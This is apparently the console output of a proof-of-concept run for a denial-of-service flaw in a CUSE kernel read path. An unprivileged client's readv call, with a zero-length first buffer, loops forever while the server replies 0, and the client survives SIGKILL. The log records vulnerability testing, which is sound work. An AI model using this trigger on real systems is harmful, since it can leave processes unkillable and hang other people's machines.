[+] client uid=65534 entering readv(iov[0].len=0, iov[1].len=8)
[+] server: open completed; now replying 0 to every READ
[*] kill -9 client...
[+] client SURVIVED SIGKILL (unkillable, stuck in cuse_client_read loop) - DoS confirmed
[*] server exiting -> is_closing releases the client
[*] done (client should be gone now)
POC_RC=0